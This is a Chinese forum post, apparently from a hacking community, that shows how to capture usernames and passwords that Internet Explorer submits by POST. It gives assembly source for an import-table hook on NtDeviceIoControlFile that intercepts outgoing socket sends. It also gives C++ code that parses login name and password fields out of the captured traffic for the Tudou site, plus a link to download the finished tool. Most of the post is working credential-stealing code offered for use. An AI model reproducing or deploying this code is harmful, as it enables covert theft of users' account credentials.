|
[原创]IAT(导入表)HOOK获取IE浏览器POST的账号和密码技术
本帖最后由 ghosthand 于 2014-2-25 00:24 编辑
GhostHand个人原创,转载请注明出处
本示例用了土豆的封包进行了测试,以下为展示图
技术点:
1、进程间通讯:采用了SendMessage配合参数WM_COPYDATA,其中cbData为数据长度,lpData为数据地址指针,dwData为自定义数据,这三个字段属于结构:COPYDATASTRUCT,通过发送这个消息给指定窗口,在指定窗口中创建OnCopyData来处理传输的数据。具体代码如下:
- LOCAL cpd:COPYDATASTRUCT
- mov cpd.dwData,0
- push [edi].len
- pop cpd.cbData
- push [edi].buf
- pop cpd.lpData
- invoke SendMessage,hWinMain,WM_COPYDATA,NULL,addr cpd
复制代码 2、IAT_HOOK:导入表HOOK,程序在运行时需要调用API函数,API函数的地址存放在导入表中,通过PE结构可以获取导入表中指定函数的地址,同时我们也可以修改这个地址指向我们自己的处理函数,这就是导入表HOOK(需要学习的童鞋可以去看看PE文件结构),这里放上处理源码:- _HookDeviceIoControl proc
- LOCAL @hMod
- LOCAL @btw
- LOCAL @import
- LOCAL @count
- mov @count,0
- ;获取模块起始地址
- invoke GetModuleHandle,offset szMswsock
- .if !eax
- ret
- .endif
- mov @hMod,eax
- pushad
- mov esi,eax
- assume esi:ptr IMAGE_DOS_HEADER
- movzx eax,[esi].e_magic
- .if (eax != IMAGE_DOS_SIGNATURE)
- ret
- .endif
- add esi,[esi].e_lfanew
- assume esi:ptr IMAGE_NT_HEADERS
- mov eax,[esi].Signature
- .if (eax != IMAGE_NT_SIGNATURE)
- ret
- .endif
- mov esi,[esi].OptionalHeader.DataDirectory[8].VirtualAddress
- .if !esi
- ret
- .endif
- add esi,@hMod
- assume esi:ptr IMAGE_IMPORT_DESCRIPTOR ;esi指向了第一个导入表
- ;循环处理每一个导入表
- .while [esi].OriginalFirstThunk || [esi].TimeDateStamp || \
- [esi].ForwarderChain || [esi].Name1 || [esi].FirstThunk
- mov edx,@hMod
- add edx,[esi].Name1
- invoke lstrcmp,edx,offset szNtDll
- .if eax == 0
- mov @import,esi ;导入表RVA
- .break
- .endif
- add esi,sizeof IMAGE_IMPORT_DESCRIPTOR
- .endw
- ;当前为ntdll的导入表
- mov esi,[esi].OriginalFirstThunk
- add esi,@hMod ;esi当前指向IMAGE_THUNK_DATA结构数组
- assume edx:ptr IMAGE_IMPORT_BY_NAME
- .while esi
- .if esi & IMAGE_ORDINAL_FLAG32
- .else
- mov edx,@hMod
- add edx,dword ptr [esi]
- invoke lstrcmp,addr [edx].Name1,offset szNtDeviceIoControlFile
- .if eax == 0
- mov esi,@import
- mov esi,[esi].FirstThunk
- add esi,@hMod
- mov eax,sizeof IMAGE_THUNK_DATA
- mul @count
- add esi,eax
- mov eax,dword ptr [esi]
- mov lpNtDeviceIoControl,eax
- mov eax,offset NewNtDeviceIoControlFile
- mov lpNewNtDeviceIoControl,eax
- mov ImportNtDeviceIoControl,esi
- ;写入自己程序的地址进行跳转
- invoke WriteProcessMemory,hCurProc,esi,offset lpNewNtDeviceIoControl,sizeof dword,addr @btw
- .break
- .endif
- .endif
- add esi,4
- mov eax,@count
- add eax,1
- mov @count,eax
- .endw
- assume edx:nothing
- assume esi:nothing
- popad
- ret
-
- _HookDeviceIoControl endp
复制代码 3、封包的获取:本例采用了IAT HOOK了NtDeviceIoControlFile函数的导入表信息,并通过对IoControlCode控制码进行过滤,如果IoControlCode为AFD_SEND(AFD_SEND equ 1201fh),则通过invoke SendMessage,hWinMain,WM_COPYDATA,NULL,addr cpd将消息发送到我们的处理进程。为了方便我们和处理进程(主进程)之间的通讯,我们可以将主进程的窗体句柄通过DLL的函数写入DLL中的一个内存共享区,内存共享区可以通过在DLL生成链接时的参数指定(/section:.bss,S),这个参数指定DLL中的“.data?”段为共享内存块。
4、有用信息的过滤:既然数据已经获取到了,那我们就应该要提取数据中的有用信息了,用一个我自己写的小工具获取一下登陆土豆网站时候的数据,会发现去下有用信息:
通过字符串比对定位有用数据的位置,然后将有用的数据复制到字符数组中,以下为VC源码,写的不是很好,希望大家能一起交流一下:- BOOL CTuDouDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
- {
- // TODO: Add your message handler code here and/or call default
- char buf[8192];
- char name[512];
- char pwd[512];
- char url[512];
- memset(buf,0,sizeof(buf));
- memset(name,0,sizeof(name));
- memset(pwd,0,sizeof(pwd));
- memset(url,0,sizeof(url));
-
- memcpy(buf,pCopyDataStruct->lpData,10);
- //判断头部数据
- if(0 == strcmp(buf,"loginname="))
- {
- int lenBuf;
- int len;
- memset(buf,0,sizeof(buf));
- memcpy(buf,pCopyDataStruct->lpData,pCopyDataStruct->cbData);
- //解析用户名
- for (len=0,lenBuf=10;;len++,lenBuf++)
- {
- if (buf[lenBuf]=='&')
- {
- lenBuf+=10;
- break;
- }
- if (buf[lenBuf]=='%')
- {
- name[len]='@';
- lenBuf+=2;
- continue;
- }
- name[len]=buf[lenBuf];
- }
- //解析密码
- for(len=0;;len++,lenBuf++)
- {
- if (buf[lenBuf]=='&')
- {
- lenBuf++;
- break;
- }
- pwd[len]=buf[lenBuf];
- }
- //解析其他数据
- int tempLen = pCopyDataStruct->cbData - lenBuf;
- for(len=0;len<tempLen;len++,lenBuf++)
- {
- url[len]=buf[lenBuf];
- }
- CListCtrl* pList = (CListCtrl*)GetDlgItem(IDC_LIST);
- int item = pList->InsertItem(0,name);
- pList->SetItemText(item,1,pwd);
- pList->SetItemText(item,2,url);
- }
-
- return CDialog::OnCopyData(pWnd, pCopyDataStruct);
- }
复制代码 程序下载地址:http://ghostasm.com/forum.php?mo ... &extra=page%3D1 |
|